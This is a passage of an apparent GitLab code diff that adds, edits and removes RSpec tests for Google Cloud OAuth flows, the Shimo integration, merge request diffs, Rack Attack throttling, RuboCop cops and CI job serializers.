+ it 'redirects on POST request' do
+ authorized_members.each do |authorized_member|
+ sign_in(authorized_member)
+
+ post url
+
+ expect(response).to redirect_to(assigns(:authorize_url))
+ end
+ end
+
+ context 'and user has successfully completed the google oauth2 flow' do
+ before do
+ allow_next_instance_of(GoogleApi::CloudPlatform::Client) do |client|
+ allow(client).to receive(:validate_token).and_return(true)
+ allow(client).to receive(:list_projects).and_return([{}, {}, {}])
+ allow(client).to receive(:create_service_account).and_return(MockServiceAccount.new(123, 456))
+ allow(client).to receive(:create_service_account_key).and_return({})
+ end
+ end
+
+ it 'returns success on GET' do
+ authorized_members.each do |authorized_member|
+ sign_in(authorized_member)
+
+ get url
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+
+ it 'returns success on POST' do
+ authorized_members.each do |authorized_member|
+ sign_in(authorized_member)
+
+ post url, params: { gcp_project: 'prj1', environment: 'env1' }
+
+ expect(response).to redirect_to(project_google_cloud_index_path(project))
+ end
+ end
+ end
+
+ context 'but google returns client error' do
+ before do
+ allow_next_instance_of(GoogleApi::CloudPlatform::Client) do |client|
+ allow(client).to receive(:validate_token).and_return(true)
+ allow(client).to receive(:list_projects).and_raise(Google::Apis::ClientError.new(''))
+ allow(client).to receive(:create_service_account).and_raise(Google::Apis::ClientError.new(''))
+ allow(client).to receive(:create_service_account_key).and_raise(Google::Apis::ClientError.new(''))
+ end
+ end
+
+ it 'renders gcp_error template on GET' do
+ authorized_members.each do |authorized_member|
+ sign_in(authorized_member)
+
+ get url
+
+ expect(response).to render_template(:gcp_error)
+ end
+ end
+
+ it 'renders gcp_error template on POST' do
+ authorized_members.each do |authorized_member|
+ sign_in(authorized_member)
+
+ post url, params: { gcp_project: 'prj1', environment: 'env1' }
+
+ expect(response).to render_template(:gcp_error)
+ end
+ end
+ end
+
+ context 'but gitlab instance is not configured for google oauth2' do
+ before do
+ unconfigured_google_oauth2 = MockGoogleOAuth2Credentials.new('', '')
+ allow(Gitlab::Auth::OAuth::Provider).to receive(:config_for)
+ .with('google_oauth2')
+ .and_return(unconfigured_google_oauth2)
+ end
+
+ it 'returns forbidden' do
+ authorized_members.each do |authorized_member|
+ sign_in(authorized_member)
+
+ get url
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+ end
+
+ context 'but feature flag is disabled' do
+ before do
+ stub_feature_flags(incubation_5mp_google_cloud: false)
+ end
+
+ it 'returns not found' do
+ authorized_members.each do |authorized_member|
+ sign_in(authorized_member)
+
+ get url
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/requests/projects/integrations/shimos_controller_spec.rb b/spec/requests/projects/integrations/shimos_controller_spec.rb
new file mode 100644
index 00000000000..7322143f87e
--- /dev/null
+++ b/spec/requests/projects/integrations/shimos_controller_spec.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ::Projects::Integrations::ShimosController do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:user) { create(:user, developer_projects: [project]) }
+ let_it_be(:shimo_integration) { create(:shimo_integration, project: project) }
+
+ before do
+ sign_in(user)
+ end
+
+ describe 'GET #show' do
+ context 'when Shimo integration is inactive' do
+ before do
+ shimo_integration.update!(active: false)
+ end
+
+ it 'returns 404 status' do
+ get project_integrations_shimo_path(project)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'when Shimo integration is active' do
+ it 'renders the "show" template' do
+ get project_integrations_shimo_path(project)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to render_template(:show)
+ expect(response.body).to include shimo_integration.external_wiki_url
+ end
+ end
+ end
+end
diff --git a/spec/requests/projects/merge_requests/context_commit_diffs_spec.rb b/spec/requests/projects/merge_requests/context_commit_diffs_spec.rb
new file mode 100644
index 00000000000..434e6f19ff5
--- /dev/null
+++ b/spec/requests/projects/merge_requests/context_commit_diffs_spec.rb
@@ -0,0 +1,99 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Merge Requests Context Commit Diffs' do
+ let_it_be(:sha1) { "33f3729a45c02fc67d00adb1b8bca394b0e761d9" }
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:merge_request) { create(:merge_request, target_project: project, source_project: project) }
+ let_it_be(:merge_request_context_commit) { create(:merge_request_context_commit, merge_request: merge_request, sha: sha1) }
+
+ before do
+ project.add_maintainer(user)
+ sign_in(user)
+ end
+
+ describe 'GET diffs_batch' do
+ let(:headers) { {} }
+
+ shared_examples_for 'serializes diffs with expected arguments' do
+ it 'serializes paginated merge request diff collection' do
+ expect_next_instance_of(PaginatedDiffSerializer) do |instance|
+ expect(instance).to receive(:represent)
+ .with(an_instance_of(collection), expected_options)
+ .and_call_original
+ end
+
+ subject
+ end
+ end
+
+ def collection_arguments(pagination_data = {})
+ {
+ environment: nil,
+ merge_request: merge_request,
+ commit: nil,
+ diff_view: :inline,
+ merge_ref_head_diff: nil,
+ allow_tree_conflicts: true,
+ pagination_data: {
+ total_pages: nil
+ }.merge(pagination_data)
+ }
+ end
+
+ def go(extra_params = {})
+ params = {
+ namespace_id: project.namespace.to_param,
+ project_id: project,
+ id: merge_request.iid,
+ only_context_commits: true,
+ page: 0,
+ per_page: 20,
+ format: 'json'
+ }
+
+ get diffs_batch_namespace_project_json_merge_request_path(params.merge(extra_params)), headers: headers
+ end
+
+ context 'with caching', :use_clean_rails_memory_store_caching do
+ subject { go(page: 0, per_page: 5) }
+
+ context 'when the request has not been cached' do
+ it_behaves_like 'serializes diffs with expected arguments' do
+ let(:collection) { Gitlab::Diff::FileCollection::Compare }
+ let(:expected_options) { collection_arguments }
+ end
+ end
+
+ context 'when the request has already been cached' do
+ before do
+ go(page: 0, per_page: 5)
+ end
+
+ it 'does not serialize diffs' do
+ expect_next_instance_of(PaginatedDiffSerializer) do |instance|
+ expect(instance).not_to receive(:represent)
+ end
+
+ subject
+ end
+
+ context 'with the different user' do
+ let(:another_user) { create(:user) }
+
+ before do
+ project.add_maintainer(another_user)
+ sign_in(another_user)
+ end
+
+ it_behaves_like 'serializes diffs with expected arguments' do
+ let(:collection) { Gitlab::Diff::FileCollection::Compare }
+ let(:expected_options) { collection_arguments }
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/requests/projects/merge_requests/diffs_spec.rb b/spec/requests/projects/merge_requests/diffs_spec.rb
index 349cbf1b76c..ad50c39c65d 100644
--- a/spec/requests/projects/merge_requests/diffs_spec.rb
+++ b/spec/requests/projects/merge_requests/diffs_spec.rb
@@ -31,6 +31,7 @@ RSpec.describe 'Merge Requests Diffs' do
{
environment: nil,
merge_request: merge_request,
+ commit: nil,
diff_view: :inline,
merge_ref_head_diff: nil,
allow_tree_conflicts: true,
diff --git a/spec/requests/projects/usage_quotas_spec.rb b/spec/requests/projects/usage_quotas_spec.rb
index 114e9bd9f1e..6e449a21804 100644
--- a/spec/requests/projects/usage_quotas_spec.rb
+++ b/spec/requests/projects/usage_quotas_spec.rb
@@ -23,20 +23,10 @@ RSpec.describe 'Project Usage Quotas' do
describe 'GET /:namespace/:project/usage_quotas' do
it 'renders usage quotas path' do
- mock_storage_app_data = {
- project_path: project.full_path,
- usage_quotas_help_page_path: help_page_path('user/usage_quotas'),
- build_artifacts_help_page_path: help_page_path('ci/pipelines/job_artifacts', anchor: 'when-job-artifacts-are-deleted'),
- packages_help_page_path: help_page_path('user/packages/package_registry/index.md', anchor: 'delete-a-package'),
- repository_help_page_path: help_page_path('user/project/repository/reducing_the_repo_size_using_git'),
- snippets_help_page_path: help_page_path('user/snippets', anchor: 'reduce-snippets-repository-size'),
- wiki_help_page_path: help_page_path('administration/wikis/index.md', anchor: 'reduce-wiki-repository-size')
- }
get project_usage_quotas_path(project)
expect(response).to have_gitlab_http_status(:ok)
expect(response.body).to include(project_usage_quotas_path(project))
- expect(assigns[:storage_app_data]).to eq(mock_storage_app_data)
expect(response.body).to include("Usage of project resources across the <strong>#{project.name}</strong> project")
end
diff --git a/spec/requests/rack_attack_global_spec.rb b/spec/requests/rack_attack_global_spec.rb
index ab0c76397e4..244ec111a0c 100644
--- a/spec/requests/rack_attack_global_spec.rb
+++ b/spec/requests/rack_attack_global_spec.rb
@@ -520,7 +520,7 @@ RSpec.describe 'Rack Attack global throttles', :use_clean_rails_memory_store_cac
let(:head_response) { { status: :success } }
before do
- allow_next_instance_of(DependencyProxy::FindOrCreateManifestService) do |instance|
+ allow_next_instance_of(DependencyProxy::FindCachedManifestService) do |instance|
allow(instance).to receive(:execute).and_return(pull_response)
end
allow_next_instance_of(DependencyProxy::HeadManifestService) do |instance|
@@ -720,19 +720,6 @@ RSpec.describe 'Rack Attack global throttles', :use_clean_rails_memory_store_cac
expect_rejection { do_request }
end
- context 'when feature flag is off' do
- before do
- stub_feature_flags(files_api_throttling: false)
- end
-
- it 'allows requests over the rate limit' do
- (1 + requests_per_period).times do
- do_request
- expect(response).to have_gitlab_http_status(:ok)
- end
- end
- end
-
context 'when unauthenticated api throttle is lower' do
before do
settings_to_set[:throttle_unauthenticated_api_requests_per_period] = 0
@@ -817,19 +804,6 @@ RSpec.describe 'Rack Attack global throttles', :use_clean_rails_memory_store_cac
expect_rejection { do_request }
end
end
-
- context 'when feature flag is off' do
- before do
- stub_feature_flags(files_api_throttling: false)
- end
-
- it 'allows requests over the rate limit' do
- (1 + requests_per_period).times do
- do_request
- expect(response).to have_gitlab_http_status(:ok)
- end
- end
- end
end
context 'when authenticated files api throttle is disabled' do
diff --git a/spec/routing/notifications_routing_spec.rb b/spec/routing/notifications_routing_spec.rb
index d66aa7f219f..303281c763e 100644
--- a/spec/routing/notifications_routing_spec.rb
+++ b/spec/routing/notifications_routing_spec.rb
@@ -12,7 +12,8 @@ RSpec.describe "notifications routing" do
end
it 'routes to group #update' do
- expect(put("/-/profile/notifications/groups/gitlab-org")).to route_to("profiles/groups#update", id: 'gitlab-org')
- expect(put("/-/profile/notifications/groups/gitlab.org")).to route_to("profiles/groups#update", id: 'gitlab.org')
+ expect(put("/-/profile/groups/gitlab-org/notifications")).to route_to("profiles/groups#update", id: 'gitlab-org')
+ expect(put("/-/profile/groups/gitlab.org/notifications/")).to route_to("profiles/groups#update", id: 'gitlab.org')
+ expect(put("/-/profile/groups/gitlab.org/gitlab/notifications")).to route_to("profiles/groups#update", id: 'gitlab.org/gitlab')
end
end
diff --git a/spec/rubocop/code_reuse_helpers_spec.rb b/spec/rubocop/code_reuse_helpers_spec.rb
index 695c152e3db..3220cff1681 100644
--- a/spec/rubocop/code_reuse_helpers_spec.rb
+++ b/spec/rubocop/code_reuse_helpers_spec.rb
@@ -21,6 +21,8 @@ RSpec.describe RuboCop::CodeReuseHelpers do
end.new
end
+ let(:ee_file_path) { File.expand_path('../../ee/app/models/license.rb', __dir__) }
+
describe '#send_to_constant?' do
it 'returns true when sending to a constant' do
node = build_and_parse_source('Foo.bar')
@@ -312,4 +314,77 @@ RSpec.describe RuboCop::CodeReuseHelpers do
cop.disallow_send_to(def_node, 'Finder', 'oops')
end
end
+
+ describe '#ee?' do
+ before do
+ stub_env('FOSS_ONLY', nil)
+ allow(File).to receive(:exist?).with(ee_file_path) { true }
+ end
+
+ it 'returns true when ee/app/models/license.rb exists' do
+ expect(cop.ee?).to eq(true)
+ end
+ end
+
+ describe '#jh?' do
+ context 'when jh directory exists and EE_ONLY is not set' do
+ before do
+ stub_env('EE_ONLY', nil)
+
+ allow(Dir).to receive(:exist?).with(File.expand_path('../../jh', __dir__)) { true }
+ end
+
+ context 'when ee/app/models/license.rb exists' do
+ before do
+ allow(File).to receive(:exist?).with(ee_file_path) { true }
+ end
+
+ context 'when FOSS_ONLY is not set' do
+ before do
+ stub_env('FOSS_ONLY', nil)
+ end
+
+ it 'returns true' do
+ expect(cop.jh?).to eq(true)
+ end
+ end
+
+ context 'when FOSS_ONLY is set to 1' do
+ before do
+ stub_env('FOSS_ONLY', '1')
+ end
+
+ it 'returns false' do
+ expect(cop.jh?).to eq(false)
+ end
+ end
+ end
+
+ context 'when ee/app/models/license.rb not exist' do
+ before do
+ allow(File).to receive(:exist?).with(ee_file_path) { false }
+ end
+
+ context 'when FOSS_ONLY is not set' do
+ before do
+ stub_env('FOSS_ONLY', nil)
+ end
+
+ it 'returns true' do
+ expect(cop.jh?).to eq(false)
+ end
+ end
+
+ context 'when FOSS_ONLY is set to 1' do
+ before do
+ stub_env('FOSS_ONLY', '1')
+ end
+
+ it 'returns false' do
+ expect(cop.jh?).to eq(false)
+ end
+ end
+ end
+ end
+ end
end
diff --git a/spec/rubocop/cop/graphql/authorize_types_spec.rb b/spec/rubocop/cop/graphql/authorize_types_spec.rb
index 6c521789e34..7aa36030526 100644
--- a/spec/rubocop/cop/graphql/authorize_types_spec.rb
+++ b/spec/rubocop/cop/graphql/authorize_types_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe RuboCop::Cop::Graphql::AuthorizeTypes do
expect_offense(<<~TYPE)
module Types
class AType < BaseObject
- ^^^^^^^^^^^^^^^^^^^^^^^^ Add an `authorize :ability` call to the type: https://docs.gitlab.com/ee/development/api_graphql_styleguide.html#type-authorization
+ ^^^^^^^^^^^^^^^^^^^^^^^^ Add an `authorize :ability` call to the type: https://docs.gitlab.com/ee/development/graphql_guide/authorization.html#type-authorization
field :a_thing
field :another_thing
end
diff --git a/spec/rubocop/cop/graphql/old_types_spec.rb b/spec/rubocop/cop/graphql/old_types_spec.rb
index 396bf4ce997..5cf3b11548f 100644
--- a/spec/rubocop/cop/graphql/old_types_spec.rb
+++ b/spec/rubocop/cop/graphql/old_types_spec.rb
@@ -10,10 +10,16 @@ RSpec.describe RuboCop::Cop::Graphql::OldTypes do
subject(:cop) { described_class.new }
where(:old_type, :message) do
- 'GraphQL::ID_TYPE' | 'Avoid using GraphQL::ID_TYPE. Use GraphQL::Types::ID instead'
- 'GraphQL::INT_TYPE' | 'Avoid using GraphQL::INT_TYPE. Use GraphQL::Types::Int instead'
- 'GraphQL::STRING_TYPE' | 'Avoid using GraphQL::STRING_TYPE. Use GraphQL::Types::String instead'
- 'GraphQL::BOOLEAN_TYPE' | 'Avoid using GraphQL::BOOLEAN_TYPE. Use GraphQL::Types::Boolean instead'
+ 'GraphQL::ID_TYPE' | 'Avoid using GraphQL::ID_TYPE. Use GraphQL::Types::ID instead'
+ 'GraphQL::INT_TYPE' | 'Avoid using GraphQL::INT_TYPE. Use GraphQL::Types::Int instead'
+ 'GraphQL::STRING_TYPE' | 'Avoid using GraphQL::STRING_TYPE. Use GraphQL::Types::String instead'
+ 'GraphQL::BOOLEAN_TYPE' | 'Avoid using GraphQL::BOOLEAN_TYPE. Use GraphQL::Types::Boolean instead'
+ 'GraphQL::FLOAT_TYPE' | 'Avoid using GraphQL::FLOAT_TYPE. Use GraphQL::Types::Float instead'
+ '::GraphQL::ID_TYPE' | 'Avoid using GraphQL::ID_TYPE. Use GraphQL::Types::ID instead'
+ '::GraphQL::INT_TYPE' | 'Avoid using GraphQL::INT_TYPE. Use GraphQL::Types::Int instead'
+ '::GraphQL::STRING_TYPE' | 'Avoid using GraphQL::STRING_TYPE. Use GraphQL::Types::String instead'
+ '::GraphQL::BOOLEAN_TYPE' | 'Avoid using GraphQL::BOOLEAN_TYPE. Use GraphQL::Types::Boolean instead'
+ '::GraphQL::FLOAT_TYPE' | 'Avoid using GraphQL::FLOAT_TYPE. Use GraphQL::Types::Float instead'
end
with_them do
@@ -27,7 +33,7 @@ RSpec.describe RuboCop::Cop::Graphql::OldTypes do
RUBY
end
- it "adds an offense when an old type is used with other keywords" do
+ it 'adds an offense when an old type is used with other keywords' do
expect_offense(<<~RUBY)
class MyType
field :some_field, #{old_type}, null: true, description: 'My description'
diff --git a/spec/rubocop/cop/qa/testcase_link_format_spec.rb b/spec/rubocop/cop/qa/testcase_link_format_spec.rb
new file mode 100644
index 00000000000..f9b43f2a293
--- /dev/null
+++ b/spec/rubocop/cop/qa/testcase_link_format_spec.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+
+require_relative '../../../../rubocop/cop/qa/testcase_link_format'
+
+RSpec.describe RuboCop::Cop::QA::TestcaseLinkFormat do
+ let(:source_file) { 'qa/page.rb' }
+ let(:msg) { 'Testcase link format incorrect. Please link a test case from the GitLab project. See: https://docs.gitlab.com/ee/development/testing_guide/end_to_end/best_practices.html#link-a-test-to-its-test-case.' }
+
+ subject(:cop) { described_class.new }
+
+ context 'in a QA file' do
+ before do
+ allow(cop).to receive(:in_qa_file?).and_return(true)
+ end
+
+ it "registers an offense for a testcase link for an issue" do
+ node = "it 'another test', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/issues/557' do"
+
+ expect_offense(<<-RUBY, node: node, msg: msg)
+ %{node}
+ ^{node} %{msg}
+ end
+ RUBY
+ end
+
+ it "registers an offense for a testcase link for the wrong project" do
+ node = "it 'another test', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/quality/test_cases/2455' do"
+
+ expect_offense(<<-RUBY, node: node, msg: msg)
+ %{node}
+ ^{node} %{msg}
+ end
+ RUBY
+ end
+
+ it "doesnt offend if testcase link is correct" do
+ expect_no_offenses(<<-RUBY)
+ it 'some test', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348312' do
+ end
+ RUBY
+ end
+ end
+end
diff --git a/spec/rubocop/cop/static_translation_definition_spec.rb b/spec/rubocop/cop/static_translation_definition_spec.rb
index b2b04cbcbde..554a7c17a4b 100644
--- a/spec/rubocop/cop/static_translation_definition_spec.rb
+++ b/spec/rubocop/cop/static_translation_definition_spec.rb
@@ -112,7 +112,7 @@ RSpec.describe RuboCop::Cop::StaticTranslationDefinition do
}
end
CODE
- <<~CODE
+ <<~CODE,
class MyClass
def hello
{
@@ -121,6 +121,20 @@ RSpec.describe RuboCop::Cop::StaticTranslationDefinition do
end
end
CODE
+ <<~CODE,
+ SomeClass = Struct.new do
+ def text
+ _('Some translated text')
+ end
+ end
+ CODE
+ <<~CODE
+ Struct.new('SomeClass') do
+ def text
+ _('Some translated text')
+ end
+ end
+ CODE
]
end
diff --git a/spec/serializers/build_details_entity_spec.rb b/spec/serializers/build_details_entity_spec.rb
index 8a63715ed86..a24841fe286 100644
--- a/spec/serializers/build_details_entity_spec.rb
+++ b/spec/serializers/build_details_entity_spec.rb
@@ -5,8 +5,8 @@ require 'spec_helper'
RSpec.describe BuildDetailsEntity do
include ProjectForksHelper
- it 'inherits from JobEntity' do
- expect(described_class).to be < JobEntity
+ it 'inherits from Ci::JobEntity' do
+ expect(described_class).to be < Ci::JobEntity
end
describe '#as_json' do
@@ -29,7 +29,7 @@ RSpec.describe BuildDetailsEntity do
end
it 'contains the needed key value pairs' do
- expect(subject).to include(:coverage, :erased_at, :duration)
+ expect(subject).to include(:coverage, :erased_at, :finished_at, :duration)
expect(subject).to include(:runner, :pipeline)
expect(subject).to include(:raw_path, :new_issue_path)
end
diff --git a/spec/serializers/build_serializer_spec.rb b/spec/serializers/build_serializer_spec.rb
deleted file mode 100644
index f3584beb39b..00000000000
--- a/spec/serializers/build_serializer_spec.rb
+++ /dev/null
@@ -1,63 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe BuildSerializer do
- let(:user) { create(:user) }
-
- let(:serializer) do
- described_class.new(current_user: user)
- end
-
- subject { serializer.represent(resource) }
-
- describe '#represent' do
- context 'when a single object is being serialized' do
- let(:resource) { create(:ci_build) }
-
- it 'serializers the pipeline object' do
- expect(subject[:id]).to eq resource.id
- end
- end
-
- context 'when multiple objects are being serialized' do
- let(:resource) { create_list(:ci_build, 2) }
-
- it 'serializers the array of pipelines' do
- expect(subject).not_to be_empty
- end
- end
- end
-
- describe '#represent_status' do
- context 'for a failed build' do
- let(:resource) { create(:ci_build, :failed) }
- let(:status) { resource.detailed_status(double('user')) }
-
- subject { serializer.represent_status(resource) }
-
- it 'serializes only status' do
- expect(subject[:text]).to eq(status.text)
- expect(subject[:label]).to eq('failed')
- expect(subject[:tooltip]).to eq('failed - (unknown failure)')
- expect(subject[:icon]).to eq(status.icon)
- expect(subject[:favicon]).to match_asset_path("/assets/ci_favicons/#{status.favicon}.png")
- end
- end
-
- context 'for any other type of build' do
- let(:resource) { create(:ci_build, :success) }
- let(:status) { resource.detailed_status(double('user')) }
-
- subject { serializer.represent_status(resource) }
-
- it 'serializes only status' do
- expect(subject[:text]).to eq(status.text)
- expect(subject[:label]).to eq('passed')
- expect(subject[:tooltip]).to eq('passed')
- expect(subject[:icon]).to eq(status.icon)
- expect(subject[:favicon]).to match_asset_path("/assets/ci_favicons/#{status.favicon}.png")
- end
- end
- end
-end
diff --git a/spec/serializers/ci/job_entity_spec.rb b/spec/serializers/ci/job_entity_spec.rb
new file mode 100644
index 00000000000..ba68b9a6c16
--- /dev/null
+++ b/spec/serializers/ci/job_entity_spec.rb
@@ -0,0 +1,237 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::JobEntity do
+ let(:user) { create(:user) }
+ let(:job) { create(:ci_build) }
+ let(:project) { job.project }
+ let(:request) { double('request') }
+
+ before do
+ stub_not_protect_default_branch
+ allow(request).to receive(:current_user).and_return(user)
+
+ project.add_developer(user)
+ end
+
+ let(:entity) do
+ described_class.new(job, request: request)
+ end
+
+ subject { entity.as_json }
+
+ it 'contains complete to indicate if a pipeline is completed' do
+ expect(subject).to include(:complete)
+ end
+
+ it 'contains paths to job page action' do
+ expect(subject).to include(:build_path)
+ end
+
+ it 'does not contain sensitive information' do
+ expect(subject).not_to include(/token/)
+ expect(subject).not_to include(/variables/)
+ end
+
+ it 'contains whether it is playable' do
+ expect(subject[:playable]).to eq job.playable?
+ end
+
+ it 'contains timestamps' do
+ expect(subject).to include(:created_at, :updated_at)
+ end
+
+ it 'contains details' do
+ expect(subject).to include :status
+ expect(subject[:status]).to include :icon, :favicon, :text, :label, :tooltip
+ end
+
+ context 'when job is retryable' do
+ before do
+ job.update!(status: :failed)
+ end
+
+ it 'contains cancel path' do
+ expect(subject).to include(:retry_path)
+ end
+ end
+
+ context 'when job is cancelable' do
+ before do
+ job.update!(status: :running)
+ end
+
+ it 'contains cancel path' do
+ expect(subject).to include(:cancel_path)
+ end
+ end
+
+ context 'when job is a regular job' do
+ it 'does not contain path to play action' do
+ expect(subject).not_to include(:play_path)
+ end
+
+ it 'is not a playable build' do
+ expect(subject[:playable]).to be false
+ end
+ end
+
+ context 'when job is a manual action' do
+ let(:job) { create(:ci_build, :manual) }
+
+ context 'when user is allowed to trigger action' do
+ before do
+ project.add_developer(user)
+
+ create(:protected_branch, :developers_can_merge,
+ name: job.ref, project: job.project)
+ end
+
+ it 'contains path to play action' do
+ expect(subject).to include(:play_path)
+ end
+
+ it 'is a playable action' do
+ expect(subject[:playable]).to be true
+ end
+ end
+
+ context 'when user is not allowed to trigger action' do
+ before do
+ allow(job.project).to receive(:empty_repo?).and_return(false)
+
+ create(:protected_branch, :no_one_can_push,
+ name: job.ref, project: job.project)
+ end
+
+ it 'does not contain path to play action' do
+ expect(subject).not_to include(:play_path)
+ end
+
+ it 'is not a playable action' do
+ expect(subject[:playable]).to be false
+ end
+ end
+ end
+
+ context 'when job is scheduled' do
+ let(:job) { create(:ci_build, :scheduled) }
+
+ it 'contains path to unschedule action' do
+ expect(subject).to include(:unschedule_path)
+ end
+
+ it 'contains scheduled_at' do
+ expect(subject[:scheduled]).to be_truthy
+ expect(subject[:scheduled_at]).to eq(job.scheduled_at)
+ end
+ end
+
+ context 'when job is generic commit status' do
+ let(:job) { create(:generic_commit_status, target_url: 'http://google.com') }
+
+ it 'contains paths to target action' do
+ expect(subject).to include(:build_path)
+ end
+
+ it 'does not contain paths to other action paths' do
+ expect(subject).not_to include(:retry_path, :cancel_path, :play_path)
+ end
+
+ it 'contains timestamps' do
+ expect(subject).to include(:created_at, :updated_at)
+ end
+
+ it 'contains details' do
+ expect(subject).to include :status
+ expect(subject[:status]).to include :icon, :favicon, :text, :label, :tooltip
+ end
+ end
+
+ context 'when job failed' do
+ let(:job) { create(:ci_build, :api_failure) }
+
+ it 'contains details' do
+ expect(subject[:status]).to include :icon, :favicon, :text, :label, :tooltip
+ end
+
+ it 'states that it failed' do
+ expect(subject[:status][:label]).to eq(s_('CiStatusLabel|failed'))
+ end
+
+ it 'indicates the failure reason on tooltip' do
+ expect(subject[:status][:tooltip]).to eq("#{s_('CiStatusLabel|failed')} - (API failure)")
+ end
+
+ it 'includes a callout message with a verbose output' do
+ expect(subject[:callout_message]).to eq('There has been an API failure, please try again')
+ end
+
+ it 'states that it is not recoverable' do
+ expect(subject[:recoverable]).to be_truthy
+ end
+ end
+
+ context 'when job is allowed to fail' do
+ let(:job) { create(:ci_build, :allowed_to_fail, :api_failure) }
+
+ it 'contains details' do
+ expect(subject[:status]).to include :icon, :favicon, :text, :label, :tooltip
+ end
+
+ it 'states that it failed' do
+ expect(subject[:status][:label]).to eq('failed (allowed to fail)')
+ end
+
+ it 'indicates the failure reason on tooltip' do
+ expect(subject[:status][:tooltip]).to eq("#{s_('CiStatusLabel|failed')} - (API failure) (allowed to fail)")
+ end
+
+ it 'includes a callout message with a verbose output' do
+ expect(subject[:callout_message]).to eq('There has been an API failure, please try again')
+ end
+
+ it 'states that it is not recoverable' do
+ expect(subject[:recoverable]).to be_truthy
+ end
+ end
+
+ context 'when the job failed with a script failure' do
+ let(:job) { create(:ci_build, :failed, :script_failure) }
+
+ it 'does not include callout message or recoverable keys' do
+ expect(subject).not_to include('callout_message')
+ expect(subject).not_to include('recoverable')
+ end
+ end
+
+ context 'when job failed and is recoverable' do
+ let(:job) { create(:ci_build, :api_failure) }
+
+ it 'states it is recoverable' do
+ expect(subject[:recoverable]).to be_truthy
+ end
+ end
+
+ context 'when job passed' do
+ let(:job) { create(:ci_build, :success) }
+
+ it 'does not include callout message or recoverable keys' do
+ expect(subject).not_to include('callout_message')
+ expect(subject).not_to include('recoverable')
+ end
+ end
+
+ context 'when job is a bridge' do
+ let(:job) { create(:ci_bridge) }
+
+ it 'does not include build path' do
+ expect(subject).not_to include(:build_path)
+ end
+
+ it 'does not include cancel path' do
+ expect(subject).not_to include(:cancel_path)
+ end
+ end
+end
diff --git a/spec/serializers/ci/job_serializer_spec.rb b/spec/serializers/ci/job_serializer_spec.rb
new file mode 100644
index 00000000000..d47c9fdbf24
--- /dev/null
+++ b/spec/serializers/ci/job_serializer_spec.rb
@@ -0,0 +1,63 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::JobSerializer do
+ let(:user) { create(:user) }
+
+ let(:serializer) do
+ described_class.new(current_user: user)
+ end
+
+ subject { serializer.represent(resource) }
+
+ describe '#represent' do
+ context 'when a single object is being serialized' do
+ let(:resource) { create(:ci_build) }
+
+ it 'serializers the pipeline object' do
+ expect(subject[:id]).to eq resource.id
+ end
+ end
+
+ context 'when multiple objects are being serialized' do
+ let(:resource) { create_list(:ci_build, 2) }
+
+ it 'serializers the array of pipelines' do
+ expect(subject).not_to be_empty
+ end
+ end
+ end
+
+ describe '#represent_status' do
+ context 'for a failed build' do
+ let(:resource) { create(:ci_build, :failed) }
+ let(:status) { resource.detailed_status(double('user')) }
+
+ subject { serializer.represent_status(resource) }
+
+ it 'serializes only status' do
+ expect(subject[:text]).to eq(status.text)
+ expect(subject[:label]).to eq('failed')
+ expect(subject[:tooltip]).to eq('failed - (unknown failure)')
+ expect(subject[:icon]).to eq(status.icon)
+ expect(subject[:favicon]).to match_asset_path("/assets/ci_favicons/#{status.favicon}.png")
+ end
+ end
+
+ context 'for any other type of build' do
+ let(:resource) { create(:ci_build, :success) }
+ let(:status) { resource.detailed_status(double('user')) }
+
+ subject { serializer.represent_status(resource) }
+
+ it 'serializes only status' do
+ expect(subject[:text]).to eq(status.text)
+ expect(subject[:label]).to eq('passed')
+ expect(subject[:tooltip]).to eq('passed')
+ expect(subject[:icon]).to eq(status.icon)
+ expect(subject[:favicon]).to match_asset_path("/assets/ci_favicons/#{status.favicon}.png")
+ end
+ end
+ end
+end
diff --git a/spec/serializers/ci/pipeline_entity_spec.rb b/spec/serializers/ci/pipeline_entity_spec.rb
index f79bbd91a0a..4d9ed9fc22f 100644
--- a/spec/serializers/ci/pipeline_entity_spec.rb
+++ b/spec/serializers/ci/pipeline_entity_spec.rb
@@ -260,5 +260,17 @@ RSpec.describe Ci::PipelineEntity do
end
end
end
+
+ context 'when pipeline has coverage' do
+ let_it_be(:pipeline) { create(:ci_pipeline, project: project, user: user) }
+
+ before do
+ allow(pipeline).to receive(:coverage).and_return(35.0)
+ end
+
+ it 'exposes the coverage' do
+ expect(subject[:coverage]).to eq('35.00')
+ end
+ end
end
end
diff --git a/spec/serializers/deployment_entity_spec.rb b/spec/serializers/deployment_entity_spec.rb
index 588675f5232..1dacc9513ee 100644
--- a/spec/serializers/deployment_entity_spec.rb
+++ b/spec/serializers/deployment_entity_spec.rb
@@ -42,6 +42,10 @@ RSpec.describe DeploymentEntity do
expect(subject).to include(:deployed_at)
end
+ it 'exposes last? as is_last' do
+ expect(subject).to include(:is_last)
+ end
+
context 'when deployable is nil' do
let(:entity) { described_class.new(deployment, request: request, deployment_details: false) }
let(:deployment) { create(:deployment, deployable: nil, project: project) }
diff --git a/spec/serializers/job_entity_spec.rb b/spec/serializers/job_entity_spec.rb
deleted file mode 100644
index f31cfcb8499..00000000000
--- a/spec/serializers/job_entity_spec.rb
+++ /dev/null
@@ -1,237 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe JobEntity do
